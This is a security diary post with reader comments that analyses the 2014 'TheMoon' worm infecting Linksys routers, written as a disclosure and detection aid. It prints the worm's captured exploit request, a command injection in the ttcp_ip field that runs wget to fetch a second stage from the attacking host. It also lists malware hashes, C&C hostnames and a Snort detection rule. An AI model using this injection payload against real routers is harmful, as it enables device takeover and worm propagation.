My next class:
Network Monitoring and Threat Detection In-DepthSingaporeNov 18th - Nov 23rd 2024

Linksys Worm ("TheMoon") Captured

Published: 2014-02-13. Last Updated: 2014-02-13 18:06:36 UTC
by Johannes Ullrich (Version: 1)
18 comment(s)

Assistance needed:

  • If you have a vulnerable device that is infected, we could use full packet captures from that device. I am still trying to find out more about the command and control channel (if it exists).
  • if you have experience reverse engineering MIPS malware, ask me for a sample (use the contact form.)

One important update: This affects other Linksys routers as well. For example, we do have some routers conecting to the honeypot that identify themselves as E2500 (Firmware 1.0.03 build 4)

Finally our honeypot did capture something that looks like it is responsible for the scanning activity we see:

The initial request, as discussed earlier, is:

GET /HNAP1/ HTTP/1.1
Host: [ip of host]:8080
 
The next request is where it gets interesting:
 
POST /[withheld].cgi HTTP/1.1
Host: [ip of honeypot]:8080
User-Agent: Mozilla/4.0 (compatible; MSIE 4.01; Mac_PowerPC)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://[ip of honeypot]:8080/
Authorization: Basic YWRtaW46JmkxKkBVJDZ4dmNH    <- username: admin   password: &i1*@U$6xvcG 
   (still trying to figure out the significance of this password)
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 518

%73%75%62%6d%69%74%5f%62%75%74%74%6f%6e%3d&%63%68%61%6e%67%65%5f%61%63
%74%69%6f%6e%3d&%73%75%62%6d%69%74%5f%74%79%70%65%3d&%61%63%74%69%6f
%6e%3d&%63%6f%6d%6d%69%74%3d%30&%74%74%63%70%5f%6e%75%6d%3d%32&%74%74
%63%70%5f%73%69%7a%65%3d%32&%74%74%63%70%5f%69%70%3d%2d%68%20%60%63
%64%20%2f%74%6d%70%3b%69%66%20%5b%20%21%20%2d%65%20%2e%4c%32%36%20
%5d%3b%74%68%65%6e%20%77%67%65%74%20%68%74%74%70%3a%2f%2f%xx%xx%2e
%xx%xx%xx%2e%xx%xx%xx%2e%xx%xx%xx%3a%31%39%33%2f%30%52%78%2e%6d%69
%64%3b%66%69%60&%53%74%61%72%74%45%50%49%3d%31
 
The decoded version of this request:

submit_button=&change_action=&submit_type=&action=&commit=0&ttcp_num=2&ttcp_size=2
&ttcp_ip=-h
    `cd /tmp;if [ ! -e .L26 ];then wget http://[source IP]:193/0Rx.mid;fi`
&StartEPI=1

So it looks like it will try to download a "second stage" from port 193 from the attacking router. The ".L26" file appears to be a lock file to prevent multiple exploitation. 

I am withholding the full URL for now until I can figure out if there is a patch or if this is a public/known exploit.

The port appears to change but is always < 1024. The second stage binary si always three letters and then a "random" extension.

 

Here are the MD5s of some of the binaries I retrieved so far. They are ELF binaries . If anybody would like to assist in reversing them, please contact me for a sample.

d9547024ace9d91037cbeee5161df33e  0dQ.png
a85e4a90a7b303155477ee1697995a43  Dsn.raw
88a5c5f9c5de5ba612ec96682d61c7bb  EXr.pdf
ef19de47b051cb01928cab1a4f3eaa0e  Osn.asc

file type: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped

I am going to update this diary a bit blow-by-blow like as I am getting to reverse parts of the second stage.
 
- The binary includes a set of hard coded netblocks (/24 and /21) which are likely the blocks it scans. 
- there are also hardcoded dyndyn.org host names. Not sure yet what they are for (C&C?): azlan281.dyndns.org, littlefrog.dyndns.org, charinalg06.dyndns.org, xplunk.dyndns-home.com and more.
- just based on "strings" still, it looks like there is a command and control channel use to report back the status of the host.
- a list of user agents:
Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)
Mozilla/2.0 (compatible; MSIE 3.0B; Win32)
Mozilla/4.0 (compatible; MSIE 4.01; Mac_PowerPC)
Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0; .NET CLR 1.0.3705)
Mozilla/4.0 (compatible; MSIE 6.0; Win32) WebWasher 3.0
Mozilla/4.0 (compatible; Opera/3.0; Windows 4.10) 3.51 [en]
Mozilla/5.0 (compatible; Konqueror/2.2.2; Linux 2.4.14-xfs; X11; i686)
Mozilla/5.0 (compatible; SnapPreviewBot; en-US; rv:1.8.0.9) Gecko/20061206 Firefox/1.5.0.9
Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/xxx.x (KHTML like Gecko) Safari/12x.x
Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.0.1) Gecko/20030306 Camino/0.7
Opera/9.60 (Windows NT 5.1; U; de) Presto/2.1.1
Opera/9.0 (Windows NT 5.1; U; en)
Mozilla/5.0 Galeon/1.0.2 (X11; Linux i686; U;) Gecko/20011224
Opera/6.x (Linux 2.4.8-26mdk i686; U) [en]
Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.1) Gecko/2008092215 Firefox/3.0.1 Orca/1.1 beta 3
Mozilla/5.0 (X11; Linux i686; U;rv: 1.7.13) Gecko/20070322 Kazehakase/0.4.4.1
 
- a list of server banners:
Apache/2.2.9 (Fedora)
Apache/1.3.3 (Unix)  (Red Hat/Linux)
Apache/1.3.23
Microsoft-IIS/5.0
nginx
Microsoft-IIS/5.1
Netscape-Enterprise/4.1
Microsoft-IIS/6.0
Apache/2.2.24 (Amazon)
Sun-ONE-Web-Server/6.1
Microsoft-IIS/7.5
IBM_HTTP_Server
 
Extensions and media types used for the 2nd stage files:
 
application/pdf
.pdf
image/png
image/gif
.gif
image/jpeg
.jpg
image/bmp
.bmp
image/tiff
.tif
audio/ac3
.ac3
audio/asc
.asc
audio/ogg
.ogg
audio/midi
.mid
audio/mpeg
.mpg
video/mpeg
video/avi
.avi
video/raw
.raw
 
The binary is linked against OpenSSL, so the C&C channel could use SSL.
 
The binary also includes a couple of images (thanks Peter for pointing that out). The creation date of the images is May 9th 2013. They appear to be logos identifying the author? There are a total of 5 PNG images. 3 smilies and 2 logos. I am including the larger logo below. There are a number of strings with references to "lunar", "moon", "planets" that appear to be used as part of the C&C channel.
 
 
The reference to "Lunar Industries" and the logo appears to be a reference to the movie "The Moon" http://www.imdb.com/title/tt1182345/
 

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter

18 comment(s)
My next class:
Network Monitoring and Threat Detection In-DepthSingaporeNov 18th - Nov 23rd 2024

Comments

The user agent is randomised; we can see how quickly (actually not that fast) it scanned through a small range of IPs here:

75.69.x.x - admin [13/Feb/2014:10:15:01 +0000] "GET /HNAP1/ HTTP/1.1" 301 185 "http://x.x.x.193/" "Opera/9.60 (Windows NT 5.1; U; de) Presto/2.1.1"
75.69.x.x - admin [13/Feb/2014:10:15:01 +0000] "GET /HNAP1/ HTTP/1.1" 404 247 "http://x.x.x.195:8080/" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.0.1) Gecko/20030306 Camino/0.7"
75.69.x.x - admin [13/Feb/2014:10:15:04 +0000] "GET /HNAP1/ HTTP/1.1" 301 185 "http://x.x.x.198/" "Opera/6.x (Linux 2.4.8-26mdk i686; U) [en]"
75.69.x.x - admin [13/Feb/2014:10:15:10 +0000] "GET /HNAP1/ HTTP/1.1" 404 247 "http://x.x.x.195/" "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us) AppleWebKit/xxx.x (KHTML like Gecko) Safari/12x.x"

I wonder if the port for stage2 is always 193? From once source I get Connection Refused, from another I get Connection Timed Out although both their port 80's are still reachable.

I hope that password mentioned isn't another case of hard-coded credentials to debug stuff on the router.
The initial HNAP technique is described here:

http://www.sourcesec.com/Lab/dlink_hnap_captcha.pdf

So it looks like they snag the credentials in the initial attempt and then post back with those credentials on the second request causing the second stage to be executed.

Like I had mentioned here.... https://isc.sans.edu/forums/diary/Suspected+Mass+Exploit+Against+Linksys+E1000+E1200+Routers/17621/1#29684

I believe the second stage is using a technique described in a blog post by one of my co-workers back in March of 2013...

http://blog.spiderlabs.com/2013/05/under-the-hood-linksys-remote-command-injection-vulnerabilities.html
We did a short analysis of the hosts performing the "GET /HNAP1/ with empty username nad password "admin" and we got >100 hits in our logs. Short summary:
- all useragents match your list
- oldest hit was in August 2013 (previous hits in July didn't use the "admin" password)
- Linksys models involved in the scanning include not only E1000 and E1200, but also E1500, E2500, E3200 and E4200 (full list with firmware versions http://zaufanatrzeciastrona.pl/post/internetowy-robak-infekuje-niezabezpieczone-rutery-linksysa/)
The Cmd line injection vulnerability seems to go back a long ways. Pulling and looking at firmwares from older WRT54G units you see the same bug.

epi_ttcp is being called by the usr/sbin/httpd without checking/validating the parameters being passed.

"epi_ttcp -tsufm -l %s -n %s %s &", ttcp_size, ttcp_num, ttcp_ip

So its a similar issue as what was disclosed in May 2013, but instead of exploiting a problem with the ping test part of the code its in the ttcp section in Start_epi function inside httpd.
Looking at web logs it would appear that the malware attempts to spread to other systems by probing ports 80 and 8080. Before seeing the first HNAP probe I can see what appears to be SSL attempts to connect to those ports using TLS/SSL. It shows up in the logs as the "\x80w\x01\x03\x01" string in apache web logs.

76.14.X.X - - [11/Feb/2014:05:55:28 -0800] "\x80w\x01\x03\x01" 400 294 "-" "-" "-" "-" "-" "37382"
76.14.X.X - - [11/Feb/2014:05:55:28 -0800] "GET /HNAP1/ HTTP/1.1" 404 225 "http://[host-ip]/" "Opera/6.x (Linux 2.4.8-26mdk i686; U) [en]" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" "en-US,en;q=0.5" "gzip, deflate" "37384"

So the binding to openssl may be for command and control but it also may be there to allow the malware to try to talk to routers that have the SSL enabled for their remove management web connection.
I created a snort rule months ago for this:

alert tcp $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"SERVER-WEBAPP HNAP admin brute force login attempt"; flow:established,to_server; content:"GET|20 2f|HNAP1|2f 20|HTTP|2f|1.1|0d 0a|"; fast_pattern:only; content:"Authorization|3a 20|Basic YWRtaW46"; http_header;metadata:policy balanced-ips drop, policy security-ips drop, ruleset community, service http;reference:url,www.cisco.com/web/partners/downloads/guest/hnap_protocol_whitepaper.pdf; classtype:bad-unknown; sid:10000112; rev:2;)
@claudijd Not the same thing; the password is included in the initial HNAP request and it seems to be randomly generated with each request (i.e. /...cgi request is using different one than the HNAP one). I believe it's only for fingerprinting the model number.

@Anonymous From what I've seen, it's using the username "admin" and randomly generated password, not password "admin". The oldest requests using "admin" username and matching user-agent (not sure about the password; didn't log those) I've seen are from 2013/06/22.

@pktman There is a bit more to it -- while the current firmwares *do* allow you to send the request exploiting the shell escape tricks, they *do* require you to be authenticated first. However, there is a way to circumvent the authentication requirement completely (password does not matter) and that's what this worm is exploiting.
The worm does use a CGI script that doesn't check credentials (authentication bypass) so the authentication header doesn't really matter. It looks like random passwords are used, but they don't really matter (one reason I withheld the name of the cgi for now)
[quote=comment#29714]@claudijd Not the same thing; the password is included in the initial HNAP request and it seems to be randomly generated with each request (i.e. /...cgi request is using different one than the HNAP one). I believe it's only for fingerprinting the model number.

@Anonymous From what I've seen, it's using the username "admin" and randomly generated password, not password "admin". The oldest requests using "admin" username and matching user-agent (not sure about the password; didn't log those) I've seen are from 2013/06/22.

@pktman There is a bit more to it -- while the current firmwares *do* allow you to send the request exploiting the shell escape tricks, they *do* require you to be authenticated first. However, there is a way to circumvent the authentication requirement completely (password does not matter) and that's what this worm is exploiting.[/quote]

Yeah I realized they were using a mechanism to bypass proper authentication this time around. But do see evidence of this method of cmd line injection against the start_epi function with "user=blank,passwd=admin" being attempted back over a year ago. Which means they were trying this against those who hadn't changed their default passwords.
Wow.... You folks are fantastic. I discovered the worm in the routers of a few of my ISP's customers this week (it could well have hit all of them, but fortunately we use carrier-grade NAT to protect customers who do not need public IPs) and was beginning my own research when I reported it to you. In less than 24 hours you have duplicated all of my initial results and forged on ahead.

It appears that even more Linksys models are vulnerable to the exploit used by this worm than have been mentioned.... The WRT160N appears to succumb to the same method of penetration (even if the password has been changed from the default), as do the E800 and E900 and the Valet series. Please keep up the good work and let me know how I can assist.

Diary Archives